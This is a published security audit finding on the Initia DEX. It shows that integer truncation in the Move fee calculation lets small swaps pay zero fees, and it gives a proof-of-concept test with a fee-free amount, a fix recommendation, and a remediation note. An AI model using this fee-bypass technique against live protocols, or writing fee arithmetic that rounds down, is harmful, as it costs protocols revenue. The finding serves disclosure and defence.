Assessment reports>Initia>Low findings>Ability to bypass swap fees
Category: Coding Mistakes

Ability to bypass swap fees

Low Severity
Low Impact
Medium Likelihood

Description

The following code calculates the fee amount for a swap:

public fun swap_simulation(
    pool_amount_in: u64,
    pool_amount_out: u64,
    weight_in: Decimal128,
    weight_out: Decimal128,
    amount_in: u64,
    swap_fee_rate: Decimal128,
): (u64, u64) {
    // [...]
    let fee_amount = decimal128::mul_u64(&swap_fee_rate, amount_in);
    let adjusted_amount_in = amount_in - fee_amount;
    // [...]
}

public fun mul_u64(decimal: &Decimal128, val: u64): u64 {
    (decimal.val
        * (val as u128)
!        / DECIMAL_FRACTIONAL
        as u64)
}

It is possible to bypass swap fees by swapping a low amount such that the precision loss from division when calculating fees rounds the fee amount to zero.

Impact

Note that the small swap could be executed repeatedly to equate to one larger swap.

We provided the following proof of concept (placed in dex.move) to demonstrate exploitability of this issue:

#[test]
fun zellic_exploit_rounding_bypass_fees() {
    let pool_amount_in = 100000000;
    let pool_amount_out = 100000000;
    let weight_in = decimal128::from_ratio(1, 1);
    let weight_out = decimal128::from_ratio(1, 1);

    let swap_fee_rate = decimal128::from_ratio(3, 1000);
    // 1 / swap_fee_rate - 1
    let max_avoid_fee_amount = ((1000 / 3 - 1) as u64);
    assert!(max_avoid_fee_amount != 0, 0); // doesn't prove anything if you get nothing from it

    let (return_amount, fee_amount) = swap_simulation(
        pool_amount_in,
        pool_amount_out,
        weight_in,
        weight_out,
        max_avoid_fee_amount,
        swap_fee_rate,
    );

    assert!(fee_amount == 0, 1); // we paid no fees
    assert!(return_amount != 0, 2); // we got something back (the amount isn't relevant)
}

Recommendations

We recommend always rounding the fee calculation in favor of the protocol instead of the user. This way, as swaps get smaller, fees get proportionally higher instead of proportionally smaller.

Remediation

The patch was also updated in to further prevent exploitation.

Zellic © 2024Back to top ↑